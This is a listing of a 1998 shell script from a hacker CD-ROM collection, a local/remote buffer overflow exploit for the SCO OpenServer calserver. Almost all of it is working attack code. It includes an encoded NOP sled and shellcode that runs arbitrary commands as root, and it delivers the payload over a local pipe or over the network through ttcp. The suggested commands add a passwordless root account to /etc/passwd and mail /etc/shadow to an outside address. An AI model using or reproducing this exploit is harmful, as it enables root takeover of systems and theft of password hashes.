home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / c_scripts / sco-calserver-bof.sh < prev    next >
Encoding:
Linux/UNIX/POSIX Shell Script  |  1999-04-11  |  6.5 KB  |  148 lines

  1. #!/bin/sh
  2. #
  3. #                                   ... The punishment for inobedience ...
  4. #
  5. #        This is a local/remote buffer overflow exploit for calserver bug
  6. #                 (SCO OpenServer Enterprise System v 5.0.4p).
  7. #             If you have any problems with it, drop me a letter.
  8. #                              Happy New Year !
  9. #
  10. #
  11. #   *** Brief manual ***
  12. #
  13. #       Local mode is a default  mode for the calendar  server.  If calserver
  14. #   runs on your site  in this mode  just try  to run  the exploit  with only
  15. #   argument  "local".  If calserver operates  on your or other sites  in the
  16. #   network mode you should use exploit with two arguments:  "<sitename>" and
  17. #   "<portnumber>".  Portnumber is usually equal to 6373 but other values are
  18. #   possible.  Don't use  "localhost" or "127.0.0.1"  as a  <sitename>. Check
  19. #   "/usr/lib/scosh/calargs"  file to see  the current mode  of the  calendar
  20. #   server.
  21. #       Execution  of  the exploit is similar  to a  blind  execution  of the
  22. #   following command with root permissions: "/bin/sh -c <command>".
  23. #       There are a  few  limitations for number and length of  commands. The
  24. #   length  of  a  command  should  not  exceed  75  symbols.  The number  of
  25. #   executable commands depends on calserver configuration and it is equal to
  26. #   the number  of child calendar servers  which  are basically 4 by default.
  27. #   Therefore  running of this exploit  must be very effective.  You are free
  28. #   to use sequences of a shell commands separated by ";" as a <command>.
  29. #
  30. #                                   9.999,99
  31. #
  32. #                            ----------------------
  33. #                ---------------------------------------------
  34. #     -----------------   Dedicated to my beautiful lady   ------------------
  35. #                ---------------------------------------------
  36. #                            ----------------------
  37. #
  38. #           Leshka Zakharoff, 1998. E-mail: leshka@leshka.chuvashia.su
  39. #
  40. #
  41. #
  42. calserver_pipe="/usr/lib/scosh/pipes/pdg18e5_0000"
  43. msg="/tmp/msg"
  44. msghdr1='\02\03\0\0\0\0\0\0\0\0\0\0'
  45. msghdr2='\0\0\0\0\0\0\0\0\0377\0377\0377\0377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0'\
  46. '\0\0\0\0\034\0\0\0\0\0\0\0'
  47. codes1='\0220\0220\0220\0220\0220\0220\0220\0220'\
  48. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  49. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  50. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  51. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  52. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  53. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  54. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  55. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  56. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  57. '\0220\0220\0220\0220\0220\0220\0200\0375\0377\0177\0220\0220\0220\0220\0220'\
  58. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  59. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  60. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  61. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  62. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  63. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  64. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  65. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  66. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  67. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  68. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  69. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  70. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  71. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  72. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  73. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  74. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  75. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  76. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  77. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  78. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  79. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  80. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  81. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  82. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  83. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  84. '\0353\0177]U\0376M\0230\0376M\0233\0376M\0347\0376M\0353\0376M\0354\0376M'\
  85. '\0355\0377E\0357\0376M\0364\0303/bin/sh\01-c\01'
  86. codes2='\01\0215\05;\01\01\01\0232\0377\0377\0377\0377\07\01\0307\0304\0200'\
  87. '\0375\0377\0177\0350v\0377\0377\03773\0300P\0201\0305\0234\0377\0377\0377U'\
  88. '\0201\0305\0375\0377\0377\0377U\0201\0305\0370\0377\0377\0377UU[\0213\0354'\
  89. 'PUSP\0353\0306'
  90. rm -f $msg
  91. if [ _$1 = "_" ]
  92. then
  93.     {
  94.      echo -n "Host [local] :"
  95.      read hostname
  96.      if [ _$hostname = "_" ]
  97.      then
  98.          hostname="local"
  99.      fi
  100.     }
  101. else
  102.     hostname=$1
  103. fi
  104. if [ _$hostname = "_local" ]
  105. then
  106.     if [ -p $calserver_pipe ]
  107.     then
  108.         echo -n $msghdr1>$msg
  109.     else
  110.         echo "Error opening calserver pipe"
  111.         exit 1
  112.     fi
  113. else
  114.      if [ _$2 = "_" ]
  115.      then
  116.          {
  117.           echo -n "Port [6373]  :"
  118.           read portnumber
  119.           if [ _$portnumber = "_" ]
  120.           then
  121.               portnumber="6373"
  122.           fi
  123.          }
  124.       else
  125.           portnumber=$2
  126.       fi
  127. fi
  128. echo "Type a command  (max length=75),  for example   :"
  129. echo '"echo r00t::0:0:Leshka Zakharoff:/:>>/etc/passwd"'
  130. echo '"mail leshka@leshka.chuvashia.su</etc/shadow"'
  131. echo -n " <-----------------------------------75"
  132. echo -n "------------------------------------>\n>"
  133. read c
  134. echo -n $msghdr2$codes1>>$msg
  135. printf "%75s" "$c">>$msg
  136. echo -n $codes2>>$msg
  137. if [ _$hostname = "_local" ]
  138. then
  139.       cat $msg>>$calserver_pipe
  140. else
  141.      {
  142.       echo -n '\0377\0377\0377\0377'>>$msg
  143.       cat $msg|/etc/ttcp -u -t -l762 -p$portnumber $hostname
  144.      }
  145. fi
  146. rm $msg
  147.  
  148.